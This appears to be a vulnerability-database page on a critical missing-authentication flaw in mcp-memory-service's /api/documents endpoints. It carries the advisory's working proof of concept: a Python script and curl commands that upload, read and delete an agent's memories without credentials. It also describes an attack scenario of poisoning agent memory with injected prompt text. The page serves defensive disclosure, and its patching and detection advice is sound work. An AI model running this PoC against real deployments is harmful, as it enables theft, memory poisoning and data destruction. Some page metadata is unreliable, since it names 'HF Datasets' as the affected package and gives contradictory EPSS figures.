mcp-memory-service — the MCP server thousands of AI agent deployments use as persistent long-term memory — ships REST endpoints under /api/documents/* with zero authentication checks, even when operators explicitly enable an API key or OAuth. An unauthenticated attacker can read stored document content, inject arbitrary attacker-controlled data into an agent's memory store, and permanently delete memories belonging to authenticated users, while the sibling /api/memories endpoints correctly enforce the same auth the operator configured. With 2,768 downstream dependents, a CVSS 9.8, and no exploit code or scanner template published yet (not in CISA KEV, EPSS unscored), this is a low-complexity, high-impact bug that any internet-facing deployment of the HTTP server is exposed to today. Patch to mcp-memory-service >= 10.67.1 immediately; until then, front the service with a reverse proxy that enforces authentication on /api/documents/* or take it off any network attackers can reach, and audit logs for unauthenticated POST/DELETE calls to that path as a compromise indicator.
What is the risk?
Critical. The vulnerability requires no privileges, no user interaction, and no special access — a single unauthenticated HTTP request against a public-facing endpoint achieves full read, write, and delete capability over the AI agent's persistent memory store (CVSS 9.8, AV:N/AC:L/PR:N/UI:N). Exploitability is trivial: the PoC is six lines of curl. There is currently no evidence of in-the-wild exploitation (not in CISA KEV, no EPSS score yet, no public exploit or Nuclei template), but the flaw is a textbook CWE-306 with a clear diff-level fix and a large dependent base (2,768 packages), which historically accelerates opportunistic scanning once the GHSA advisory circulates. The moderate OpenSSF Scorecard (6/10) and 3 other CVEs in the package suggest the project has room to mature its security posture.
How does the attack unfold?
What systems are affected?
| Package | Ecosystem | Vulnerable Range | Patched |
|---|---|---|---|
| HF Datasets | pip | < 10.67.1 | 10.67.1 |
Do you use HF Datasets? You're affected.
How severe is it?
What is the attack surface?
What should I do?
1 step-
1) Patch to mcp-memory-service >= 10.67.1, which adds
Depends(require_read_access)/Depends(require_write_access)to every route in documents.py. 2) Until patched, place the HTTP server behind a reverse proxy or API gateway that enforces authentication on the/api/documents/*prefix independently of the application, or restrict network access to trusted clients only (VPN/allowlist). 3) Do not rely onMCP_API_KEY/OAuth alone as evidence of a secured deployment — verify with a direct unauthenticated probe (curl -i http://<host>/api/documents/historyshould return 401/403, not 200). 4) Detection: audit access logs for unauthenticated POST to/api/documents/uploador/api/documents/batch-upload, and DELETE to/api/documents/removeor/api/documents/remove-by-tags, from source IPs that never presented anX-API-Keyor OAuth token. 5) After patching, review recent document uploads/history for unexpected content indicating prior exploitation, and validate memory integrity against known-good backups.
How is it classified?
Which compliance frameworks are affected?
This CVE is relevant to:
Frequently Asked Questions
What is CVE-2026-50027?
mcp-memory-service — the MCP server thousands of AI agent deployments use as persistent long-term memory — ships REST endpoints under /api/documents/* with zero authentication checks, even when operators explicitly enable an API key or OAuth. An unauthenticated attacker can read stored document content, inject arbitrary attacker-controlled data into an agent's memory store, and permanently delete memories belonging to authenticated users, while the sibling /api/memories endpoints correctly enforce the same auth the operator configured. With 2,768 downstream dependents, a CVSS 9.8, and no exploit code or scanner template published yet (not in CISA KEV, EPSS unscored), this is a low-complexity, high-impact bug that any internet-facing deployment of the HTTP server is exposed to today. Patch to mcp-memory-service >= 10.67.1 immediately; until then, front the service with a reverse proxy that enforces authentication on /api/documents/* or take it off any network attackers can reach, and audit logs for unauthenticated POST/DELETE calls to that path as a compromise indicator.
Is CVE-2026-50027 actively exploited?
No confirmed active exploitation of CVE-2026-50027 has been reported, but organizations should still patch proactively.
How to fix CVE-2026-50027?
1) Patch to mcp-memory-service >= 10.67.1, which adds `Depends(require_read_access)`/`Depends(require_write_access)` to every route in documents.py. 2) Until patched, place the HTTP server behind a reverse proxy or API gateway that enforces authentication on the `/api/documents/*` prefix independently of the application, or restrict network access to trusted clients only (VPN/allowlist). 3) Do not rely on `MCP_API_KEY`/OAuth alone as evidence of a secured deployment — verify with a direct unauthenticated probe (`curl -i http://<host>/api/documents/history` should return 401/403, not 200). 4) Detection: audit access logs for unauthenticated POST to `/api/documents/upload` or `/api/documents/batch-upload`, and DELETE to `/api/documents/remove` or `/api/documents/remove-by-tags`, from source IPs that never presented an `X-API-Key` or OAuth token. 5) After patching, review recent document uploads/history for unexpected content indicating prior exploitation, and validate memory integrity against known-good backups.
What systems are affected by CVE-2026-50027?
This vulnerability affects the following AI/ML architecture patterns: agent frameworks, RAG pipelines, vector databases, MCP tool/plugin integrations.
What is the CVSS score for CVE-2026-50027?
CVE-2026-50027 has a CVSS v3.1 base score of 9.8 (CRITICAL). The EPSS exploitation probability is 0.50%.
What is the AI security impact?
Affected AI Architectures
MITRE ATLAS Techniques
AML.T0036 Data from Information Repositories AML.T0049 Exploit Public-Facing Application AML.T0080.000 Memory AML.T0107 Exploitation for Defense Evasion Compliance Controls Affected
What are the technical details?
Original Advisory
## Missing Authentication on Document API Endpoints Allows Unauthenticated Memory Read/Write/Delete ### Summary All HTTP routes under `/api/documents/*` in `mcp-memory-service` are served without any authentication dependency, even when the server is configured with an API key (`MCP_API_KEY`) or OAuth. An unauthenticated remote attacker can upload arbitrary content into the memory store (write), retrieve stored document content (read), and permanently delete memories belonging to authenticated users (delete) — all without supplying any credentials. The `/api/memories` counterpart correctly enforces authentication, making this an inconsistent and exploitable authentication boundary. CVSS 9.8 Critical. ### Details The `documents.py` router is instantiated without any router-level `dependencies=` parameter and the file does not import `Depends` at all, so no authentication guard is present on any of its routes: - **`src/mcp_memory_service/web/api/documents.py:33`** — `from fastapi import APIRouter, UploadFile, File, Form, HTTPException, BackgroundTasks` (`Depends` is absent) - **`src/mcp_memory_service/web/api/documents.py:43`** — `router = APIRouter()` (no `dependencies=` argument) The affected endpoints and their data-flow sinks are: | Route | Line (source) | Sink | Line (sink) | |---|---|---|---| | `POST /upload` | 149 | `storage.store(memory)` | 449 | | `POST /batch-upload` | — | `storage.store(memory)` | — | | `GET /history` | — | upload metadata response | — | | `GET /search-content/{upload_id}` | 729 | memory content response | 781 | | `DELETE /remove/{upload_id}` | — | storage deletion | — | | `DELETE /remove-by-tags` | 687 | `storage.delete_by_tags(tags)` | 705 | The router is mounted in `src/mcp_memory_service/web/app.py:311`: ```python app.include_router(documents_router, prefix="/api/documents") ``` No `CORSMiddleware` or authentication middleware applies to these routes at mount time. By contrast, the equivalent write endpoint in `memories.py` is correctly protected: ```python # src/mcp_memory_service/web/api/memories.py:136 user: AuthenticationResult = Depends(require_write_access) ``` This demonstrates that the authentication infrastructure exists and is intentionally applied elsewhere, but was omitted from all `documents.py` routes. ### PoC **Prerequisites** - Docker installed - Repository cloned at `repo` **Build and run the container** ```bash docker build -t vuln-001-mcp-memory-poc \ -f vuln-001/Dockerfile \ repo docker run -d --name vuln-001-poc-container \ -p 18000:8000 vuln-001-mcp-memory-poc:latest ``` The container starts `mcp-memory-service` with `MCP_API_KEY=poc-secret-key-12345`, simulating a production deployment where the operator has enabled API-key authentication. **Execute the PoC** ```bash python3 vuln-001/poc.py \ --host 127.0.0.1 --port 18000 --api-key poc-secret-key-12345 ``` **Attack chain (6 steps)** ``` [STEP 1] GET /api/memories (no auth) → HTTP 401 ← auth guard is active on memories API [STEP 2] POST /api/memories (with API key) → HTTP 200 ← legitimate user stores sensitive data [STEP 3] GET /api/memories (with API key) → HTTP 200 memories_found=1 ← data confirmed [STEP 4] POST /api/documents/upload (NO auth) → HTTP 200 upload_id=<uuid> ← WRITE bypass [STEP 5] DELETE /api/documents/remove-by-tags (NO auth) → HTTP 200 memories_deleted=1 ← DELETE bypass [STEP 6] GET /api/memories (with API key) → HTTP 200 memories_remaining=0 ← integrity impact confirmed ``` Step 6 proves that an unauthenticated attacker deleted data created by a legitimately authenticated user in a single unauthenticated request. **Manual curl equivalent** ```bash # Confirm auth guard is active on /api/memories curl -i http://127.0.0.1:18000/api/memories # → 401 Unauthorized # Write through document API — no credentials printf 'CVE_AUTH_BYPASS_MARKER' > /tmp/poc.txt UPLOAD_ID=$( curl -s -X POST http://127.0.0.1:18000/api/documents/upload \ -F "file=@/tmp/poc.txt" -F "tags=cve-poc" | python3 -c 'import sys,json; print(json.load(sys.stdin)["upload_id"])' ) # → 200 OK sleep 3 curl -s "http://127.0.0.1:18000/api/documents/search-content/$UPLOAD_ID" # → content returned without authentication # Delete by tag — no credentials curl -i -X DELETE "http://127.0.0.1:18000/api/documents/remove-by-tags" \ -H "Content-Type: application/json" -d '["cve-poc"]' # → 200 OK, memories_deleted=1 ``` **Observed output** - `GET /api/memories` (no auth) returns `401` — the authentication guard is demonstrably active on the memories API. - `POST /api/documents/upload` (no auth) returns `200` with a valid `upload_id`. - `DELETE /api/documents/remove-by-tags` (no auth) returns `200` with `memories_deleted=1`. - A subsequent authenticated `GET /api/memories` returns `memories_remaining=0`, confirming that legitimately stored data was destroyed by an unauthenticated request. **Remediation** Add `Depends(require_write_access)` / `Depends(require_read_access)` to every affected route in `documents.py`: ```diff --- a/src/mcp_memory_service/web/api/documents.py +++ b/src/mcp_memory_service/web/api/documents.py -from fastapi import APIRouter, UploadFile, File, Form, HTTPException, BackgroundTasks +from fastapi import APIRouter, UploadFile, File, Form, HTTPException, BackgroundTasks, Depends from ..dependencies import get_storage +from ..oauth.middleware import require_read_access, require_write_access, AuthenticationResult async def upload_document( background_tasks: BackgroundTasks, file: UploadFile = File(...), + user: AuthenticationResult = Depends(require_write_access), async def batch_upload_documents( background_tasks: BackgroundTasks, files: List[UploadFile] = File(...), + user: AuthenticationResult = Depends(require_write_access), -async def get_upload_status(upload_id: str): +async def get_upload_status(upload_id: str, user: AuthenticationResult = Depends(require_read_access)): -async def get_upload_history(): +async def get_upload_history(user: AuthenticationResult = Depends(require_read_access)): -async def remove_document(upload_id: str, remove_from_memory: bool = True): +async def remove_document(upload_id: str, remove_from_memory: bool = True, + user: AuthenticationResult = Depends(require_write_access)): -async def remove_documents_by_tags(tags: List[str]): +async def remove_documents_by_tags(tags: List[str], + user: AuthenticationResult = Depends(require_write_access)): -async def search_document_content(upload_id: str, limit: int = 1000): +async def search_document_content(upload_id: str, limit: int = 1000, + user: AuthenticationResult = Depends(require_read_access)): ``` ### Impact This is a **Missing Authentication for Critical Function (CWE-306)** vulnerability affecting the HTTP REST server component of `mcp-memory-service`. **Who is impacted:** Any operator who deploys the HTTP REST server (`memory server --http`) with `MCP_API_KEY` or OAuth enabled, expecting that only authenticated clients can access stored memories. The HTTP server is documented as a supported production feature for team/multi-client deployments. **Confidentiality:** An unauthenticated attacker can read recently uploaded document content via `GET /api/documents/search-content/{upload_id}` and enumerate upload history via `GET /api/documents/history`. Stored memories may contain sensitive context such as personal notes, AI agent working state, or proprietary data. **Integrity:** An unauthenticated attacker can inject arbitrary content into the memory store by uploading documents, polluting the AI agent's knowledge base with attacker-controlled data (memory poisoning / prompt injection surface). **Availability:** An unauthenticated attacker can delete all memories matching any chosen tags via `DELETE /api/documents/remove-by-tags`, or delete individual documents via `DELETE /api/documents/remove/{upload_id}`, causing permanent loss of stored data. ### Reproduction artifacts #### `Dockerfile` ```dockerfile FROM python:3.12-slim ENV PYTHONDONTWRITEBYTECODE=1 ENV PYTHONUNBUFFERED=1 ENV HF_HOME=/root/.cache/huggingface WORKDIR /app RUN apt-get update && apt-get install -y --no-install-recommends \ build-essential \ && rm -rf /var/lib/apt/lists/* # Install CPU-only torch first to avoid pulling the large CUDA wheel from PyPI RUN pip install --no-cache-dir \ "torch>=2.0.0" \ --index-url https://download.pytorch.org/whl/cpu # Copy and install the mcp-memory-service from the local repo COPY . /app RUN pip install --no-cache-dir -e . # Pre-download the sentence-transformers embedding model so the container # can run fully offline and starts quickly RUN python -c "from sentence_transformers import SentenceTransformer; m = SentenceTransformer('all-MiniLM-L6-v2'); v = m.encode(['preflight']); print('Embedding model ready, dim=' + str(len(v[0])))" # ── Runtime config ────────────────────────────────────────────────────────── # MCP_API_KEY is set to simulate a production deployment where the operator # has enabled API-key authentication. The bug is that /api/documents/* routes # ignore this key entirely. ENV MCP_API_KEY=poc-secret-key-12345 ENV MCP_MEMORY_STORAGE_BACKEND=sqlite_vec ENV MCP_HTTP_PORT=8000 ENV MCP_HTTP_HOST=0.0.0.0 ENV MCP_MDNS_ENABLED=false ENV MCP_CONSOLIDATION_ENABLED=false ENV MCP_BACKUP_ENABLED=false ENV MCP_QUALITY_SYSTEM_ENABLED=false # Prevent any outbound HuggingFace requests at runtime ENV TRANSFORMERS_OFFLINE=1 ENV HF_DATASETS_OFFLINE=1 EXPOSE 8000 CMD ["python", "run_server.py"] ``` #### `poc.py` ```python #!/usr/bin/env python3 """ PoC – VULN-001: Missing Authentication on Document API Endpoints CWE-306 Missing Authentication for Critical Function CVSS 9.8 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H) Attack chain: 1. GET /api/memories (no auth) → 401 (auth guard confirmed active) 2. POST /api/memories (with API key) → 200 (legitimate write) 3. GET /api/memories (with API key) → 200 (data exists) 4. POST /api/documents/upload (NO auth!) → 200 (write bypass) 5. DELETE /api/documents/remove-by-tags (NO auth!) → 200 (delete bypass) 6. GET /api/memories (with API key) → memory is GONE Step 6 proves an unauthenticated attacker destroyed data created by a legitimate, authenticated user — confirming full integrity impact. Usage: python3 poc.py [--host 127.0.0.1] [--port 8000] [--api-key poc-secret-key-12345] """ import sys import time import json import uuid import argparse import http.client MARKER = "VULN001_AUTH_BYPASS_" + uuid.uuid4().hex[:12].upper() TARGET_TAG = f"vuln001-target-{uuid.uuid4().hex[:6]}" # ─── low-level helpers ─────────────────────────────────────────────────────── def http_req(host, port, method, path, body=None, headers=None, timeout=20): conn = http.client.HTTPConnection(host, port, timeout=timeout) h = dict(headers or {}) conn.request(method, path, body=body, headers=h) resp = conn.getresponse() return resp.status, resp.read().decode("utf-8", errors="replace") def wait_ready(host, port, timeout=120): print(f"[*] Waiting for server at {host}:{port} …", flush=True) deadline = time.time() + timeout while time.time() < deadline: try: s, _ = http_req(host, port, "GET", "/api/health", timeout=2) if s == 200: print("[+] Server ready\n", flush=True) return True except Exception: pass time.sleep(1) return False def build_multipart(boundary, filename, file_bytes, tags_str): b = boundary.encode() return b"".join([ b"--" + b + b"\r\n", b'Content-Disposition: form-data; name="file"; filename="' + filename.encode() + b'"\r\n', b"Content-Type: /plain\r\n\r\n", file_bytes, b"\r\n--" + b + b"\r\n", b'Content-Disposition: form-data; name="tags"\r\n\r\n', tags_str.encode(), b"\r\n--" + b + b"--\r\n", ]) # ─── individual test steps ─────────────────────────────────────────────────── def step_memories_no_auth(host, port): """GET /api/memories without auth must return 401.""" print("[STEP 1] GET /api/memories (no auth — expect 401)", flush=True) status, body = http_req(host, port, "GET", "/api/memories") ok = (status == 401) print(f" {'PASS' if ok else 'FAIL'} HTTP {status}", flush=True) return ok, status def step_store_memory_with_auth(host, port, api_key): """POST /api/memories with API key — store a 'legitimate' memory.""" print(f"[STEP 2] POST /api/memories (with API key, tag={TARGET_TAG})", flush=True) payload = json.dumps({ "content": f"Sensitive memory — {MARKER}", "tags": [TARGET_TAG, "vuln001-demo"], "memory_type": "observation", "metadata": {"poc": "VULN-001"} }).encode() headers = { "Content-Type": "application/json", "Content-Length": str(len(payload)), "X-API-Key": api_key, } status, body = http_req(host, port, "POST", "/api/memories", payload, headers) ok = status in (200, 201) content_hash = None try: content_hash = json.loads(body).get("content_hash") except Exception: pass print(f" {'PASS' if ok else 'FAIL'} HTTP {status} hash={content_hash}", flush=True) if not ok: print(f" body: {body[:300]}", flush=True) return ok, status, content_hash def step_verify_memory_exists(host, port, api_key): """GET /api/memories with auth — confirm the memory is stored.""" print("[STEP 3] GET /api/memories (with API key — confirm data exists)", flush=True) headers = {"X-API-Key": api_key} status, body = http_req(host, port, "GET", f"/api/memories?tags={TARGET_TAG}", headers=headers) ok = status == 200 count = 0 try: data = json.loads(body) count = data.get("total", len(data.get("memories", []))) except Exception: pass print(f" {'PASS' if ok else 'FAIL'} HTTP {status} memories_found={count}", flush=True) return ok, status, count def step_upload_no_auth(host, port): """POST /api/documents/upload without any credentials — should return 200.""" print("[STEP 4] POST /api/documents/upload (NO auth — expect 200)", flush=True) boundary = "PocBoundary" + uuid.uuid4().hex payload = f"EVIDENCE: {MARKER}\nUploaded without authentication — VULN-001.\n".encode() body = build_multipart(boundary, "poc_vuln001.txt", payload, "poc-evidence,vuln001-demo") headers = { "Content-Type": f"multipart/form-data; boundary={boundary}", "Content-Length": str(len(body)), } status, resp = http_req(host, port, "POST", "/api/documents/upload", body, headers) upload_id = None try: upload_id = json.loads(resp).get("upload_id") except Exception: pass ok = status == 200 and upload_id is not None print(f" {'PASS' if ok else 'FAIL'} HTTP {status} upload_id={upload_id}", flush=True) if not ok: print(f" body: {resp[:300]}", flush=True) return ok, status, upload_id def step_delete_no_auth(host, port): """DELETE /api/documents/remove-by-tags without auth — should return 200.""" print(f"[STEP 5] DELETE /api/documents/remove-by-tags (NO auth, tag={TARGET_TAG})", flush=True) # FastAPI 0.100+ treats List[str] in DELETE as request body (JSON array) body = json.dumps([TARGET_TAG, "vuln001-demo"]).encode() headers = { "Content-Type": "application/json", "Content-Length": str(len(body)), } status, resp = http_req( host, port, "DELETE", "/api/documents/remove-by-tags", body=body, headers=headers ) ok = status == 200 deleted = 0 try: deleted = json.loads(resp).get("memories_deleted", 0) except Exception: pass print(f" {'PASS' if ok else 'FAIL'} HTTP {status} memories_deleted={deleted}", flush=True) if not ok: print(f" body: {resp[:300]}", flush=True) return ok, status, deleted def step_verify_memory_gone(host, port, api_key): """GET /api/memories with auth — confirm attacker wiped the data.""" print("[STEP 6] GET /api/memories (with API key — verify data was deleted)", flush=True) headers = {"X-API-Key": api_key} status, body = http_req(host, port, "GET", f"/api/memories?tags={TARGET_TAG}", headers=headers) ok = status == 200 count = 0 try: data = json.loads(body) count = data.get("total", len(data.get("memories", []))) except Exception: pass data_deleted = (ok and count == 0) print(f" {'PASS' if data_deleted else 'NOTE'} HTTP {status} memories_remaining={count}", flush=True) if data_deleted: print(" [+] Memory wiped by unauthenticated attacker — integrity impact confirmed!", flush=True) return ok, status, count # ─── main ──────────────────────────────────────────────────────────────────── def main(): ap = argparse.ArgumentParser(description="VULN-001 PoC — CWE-306 auth bypass") ap.add_argument("--host", default="127.0.0.1") ap.add_argument("--port", type=int, default=8000) ap.add_argument("--api-key", default="poc-secret-key-12345", help="API key configured on the server (simulates legitimate user)") args = ap.parse_args() print("=" * 65) print("VULN-001 Missing Authentication on Document API Endpoints") print("CWE-306 / CVSS 9.8 (Critical)") print("=" * 65 + "\n") if not wait_ready(args.host, args.port): print("[-] Server did not become ready", flush=True) sys.exit(2) r = {} # Step 1 — baseline: auth IS enforced on /api/memories ok1, s1 = step_memories_no_auth(args.host, args.port) r["step1_auth_guard_active"] = { "pass": ok1, "evidence": f"GET /api/memories (no auth) → HTTP {s1}" } # Step 2 — legitimate user stores a sensitive memory ok2, s2, content_hash = step_store_memory_with_auth(args.host, args.port, args.api_key) r["step2_legitimate_write"] = { "pass": ok2, "evidence": f"POST /api/memories (with API key) → HTTP {s2}" } # Step 3 — confirm memory exists ok3, s3, mem_count = step_verify_memory_exists(args.host, args.port, args.api_key) r["step3_data_present"] = { "pass": ok3 and mem_count > 0, "evidence": f"GET /api/memories (with API key) → HTTP {s3}, count={mem_count}" } # Step 4 — attacker uploads without auth (WRITE bypass) ok4, s4, upload_id = step_upload_no_auth(args.host, args.port) r["step4_upload_auth_bypass"] = { "pass": ok4, "evidence": f"POST /api/documents/upload (NO auth) → HTTP {s4}" } # Step 5 — attacker deletes WITHOUT auth (DELETE bypass) ok5, s5, deleted = step_delete_no_auth(args.host, args.port) r["step5_delete_auth_bypass"] = { "pass": ok5, "evidence": f"DELETE /api/documents/remove-by-tags (NO auth) → HTTP {s5}, deleted={deleted}" } # Step 6 — verify legitimate data is gone ok6, s6, remaining = step_verify_memory_gone(args.host, args.port, args.api_key) r["step6_integrity_impact"] = { "pass": ok6 and remaining == 0, "evidence": f"GET /api/memories (with API key) after attack → count={remaining} (was {mem_count})" } print("\n" + "=" * 65) print("RESULTS SUMMARY") print("=" * 65) for k, v in r.items(): sym = "PASS" if v["pass"] else "FAIL" print(f" [{sym}] {v['evidence']}", flush=True) # Core bypass: /api/memories returns 401 BUT /api/documents/* returns 200 without auth bypass_proven = ok1 and ok4 delete_bypass = ok1 and ok5 print("\nKey evidence:") print(f" Auth guard ACTIVE : GET /api/memories (no auth) → HTTP {s1}") print(f" Write BYPASS : POST /api/documents/upload (no auth) → HTTP {s4}") print(f" Delete BYPASS : DELETE /api/documents/remove-by-tags (no auth) → HTTP {s5}") overall = "PASS – auth bypass confirmed" if (bypass_proven or delete_bypass) else "FAIL" print(f"\nVerdict: {overall}") print("=" * 65) sys.exit(0 if (bypass_proven or delete_bypass) else 1) if __name__ == "__main__": main() ```
Exploitation Scenario
An attacker discovers an internet-facing mcp-memory-service HTTP deployment (e.g., via port/service fingerprinting or Shodan-style recon) supporting a team's AI coding or research agents. They first confirm the operator has enabled authentication by hitting `/api/memories` and receiving a 401. Believing the deployment is secured, the operator has not otherwise firewalled the service. The attacker then sends an unauthenticated multipart POST to `/api/documents/upload` containing crafted text engineered to look like a trusted internal note (e.g., fake credentials, misleading operational guidance, or an indirect prompt-injection payload). Because this content lands in the same memory store the agent retrieves from, it silently poisons the agent's future context and responses across every session that queries related tags — without ever touching the authenticated `/api/memories` boundary the operator trusted. To cover tracks or cause disruption, the attacker follows up with an unauthenticated DELETE to `/api/documents/remove-by-tags`, wiping legitimate memories tied to the same tags and destroying evidence of the original, authenticated data.
Weaknesses (CWE)
CWE-306 Missing Authentication for Critical Function
Primary
CWE-306 Missing Authentication for Critical Function CWE-306 — Missing Authentication for Critical Function: The product does not perform any authentication for functionality that requires a provable user identity or consumes a significant amount of resources.
- [Architecture and Design] Divide the software into anonymous, normal, privileged, and administrative areas. Identify which of these areas require a proven user identity, and use a centralized authentication capability. Identify all potential communication channels, or other means of interaction with the software, to ensure that all channels are appropriately protected, including those channels that are assumed to be accessible only by authorized parties. Developers sometimes perform authentication at the primary channel, but open up a secondary channel that is assumed to be private. For example, a login mechanism may be listening on one network port, but after successful authentication, it may open up a second port where it waits for the connection, but avoids authentication because it assumes that only the authenticated party will connect to the port. In general, if the software or protocol allows a single session or user state to persist across multiple connections or channels, authentication and appropriate
- [Architecture and Design] For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
Source: MITRE CWE corpus.
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H References
Timeline
Related Vulnerabilities
CVE-2026-61667 9.9 DIRAC: SQLi chained into eval() gives RCE
Same package: datasets CVE-2026-71851 9.0 Analysis pending
Same package: datasets CVE-2026-65010 6.6 Datasets: symlink following enables arbitrary file write
Same package: datasets CVE-2026-35492 6.5 kedro-datasets: path traversal enables arbitrary file write
Same package: datasets CVE-2026-66007 6.5 datasets: path traversal via file_name leaks local files
Same package: datasets